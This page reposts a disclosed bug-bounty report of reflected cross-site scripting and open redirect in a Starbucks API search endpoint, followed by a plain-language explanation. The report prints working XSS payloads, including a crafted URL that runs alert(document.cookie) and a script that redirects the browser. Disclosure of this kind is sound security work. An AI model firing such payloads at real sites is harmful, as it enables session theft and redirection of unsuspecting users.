Skip to content
XSS Disclosed report Beginner

Reflected XSS in openapi.starbucks.com /searchasyoutype/v1/search?x-api-key=

A reflected cross-site scripting (XSS) vulnerability was found in the siteBaseUrl parameter of the searchasyoutype API endpoint. An attacker could inject a script that executes in the victim's browser, potentially stealing cookies or redirecting the user to a malicious site.

an0n-j Follow

Originally disclosed on HackerOne

  • Triaged in 5 days
  • Fixed in 4 months
  • Disclosed after 4 months

Hi Starbucks team, While testing i founded Reflected XSS in openapi.starbucks.com that can also lead to Open redirect Vulnerable link

https://openapi.starbucks.com/searchasyoutype/v1/search?x-api-key=██████&query=coffe&partnerid=████:vwt2u5wngbk&siteBaseUrl= Vulnerable parameter

siteBaseUrl Payloads

2). http://googl.com/%0a<body onload=prompt(%64ocument.domain)>%```
For Open redirect the payload is
=====================

http://googl.com/%0a<script>window.location='https://google.com';</script>%


So the finalized link with payload is given below

https://openapi.starbucks.com/searchasyoutype/v1/search?x-api-key=██████&query=coffe&partnerid=███████:vwt2u5wngbk&siteBaseUrl=http://googl.com/%0a<body onload=%61lert(%64ocument.%63ookie)>%


POC has been attached

The original report as published on HackerOne, by an0n-j. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the siteBaseUrl parameter is reflected into the response without proper output encoding or validation.

Impact

An attacker could execute arbitrary JavaScript in a victim's browser, potentially stealing cookies or performing an open redirect to a malicious site.

What the attacker needed

Victim clicks a crafted link

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website takes a value from the URL and puts it directly into the page without cleaning it. An attacker can craft a link that, when clicked, runs their own code in the victim's browser. This could let them steal login cookies or send the user to a fake site.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by an0n-j

View all

4 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.